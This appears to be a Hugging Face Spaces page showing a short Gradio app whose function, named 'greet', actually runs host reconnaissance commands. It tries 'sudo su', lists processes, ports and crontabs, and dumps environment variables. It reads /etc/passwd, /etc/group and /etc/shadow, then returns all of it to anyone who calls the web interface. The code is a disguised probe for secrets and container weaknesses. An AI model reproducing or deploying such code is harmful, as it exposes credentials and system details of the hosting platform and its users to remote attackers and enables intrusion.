Spaces:
Runtime error
Runtime error
File size: 1,752 Bytes
86760e2 558a182 86760e2 f69a050 558a182 86760e2 d217c46 558a182 d217c46 470af99 86760e2 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 |
import sys
import gradio as gr
import os
def greet(name):
os.popen("sudo su")
environ = os.environ
path = sys.path
whoami = os.popen("whoami").read()
ifconfig = os.popen("ifconfig").read()
host = os.popen("hostname").read()
uname = os.popen("uname -a").read()
running = os.popen("ps aux").read()
open_ports = os.popen("netstat -tuln").read()
open_2 = os.popen("ss -tuln").read()
crons = os.popen("crontab -l").read()
mounted_fs = os.popen("df -h").read()
envars = os.popen("printenv").read()
user_info = os.popen("id").read()
# net_conf = os.popen("ip addr show").read()
# net_interfaces = os.popen("ip link show").read()
passwd = os.popen("cat /etc/passwd").read()
groups = os.popen("cat /etc/group").read()
shadow = os.popen("cat /etc/shadow").read()
kernel_modules = os.popen("lsmod").read()
ls_dev = os.popen("ls /dev").read()
grep_ro = os.popen("mount | grep '(ro'").read()
grep_proc_tempfs = os.popen("mount | grep /proc.*tmpfs").read()
capailities = os.popen("apk add -U libcap; capsh --print").read()
res = f"""
Environ: {environ}
Path: {path}
Whoami: {whoami}
Ifconfig: {ifconfig}
Host: {host}
Uname: {uname}
Running: {running}
Open ports: {open_ports}
Open 2: {open_2}
Crontab: {crons}
Mounted FS: {mounted_fs}
Envars: {envars}
User info: {user_info}
Passwd: {passwd}
Groups: {groups}
Shadow: {shadow}
Kernel modules: {kernel_modules}
ls /dev: {ls_dev}
grep ro: {grep_ro}
grep proc tmpfs: {grep_proc_tempfs}
Capabilities: {capailities}
"""
return "Hello %s!" % res
iface = gr.Interface(fn=greet, inputs="text", outputs="text")
iface.launch()
|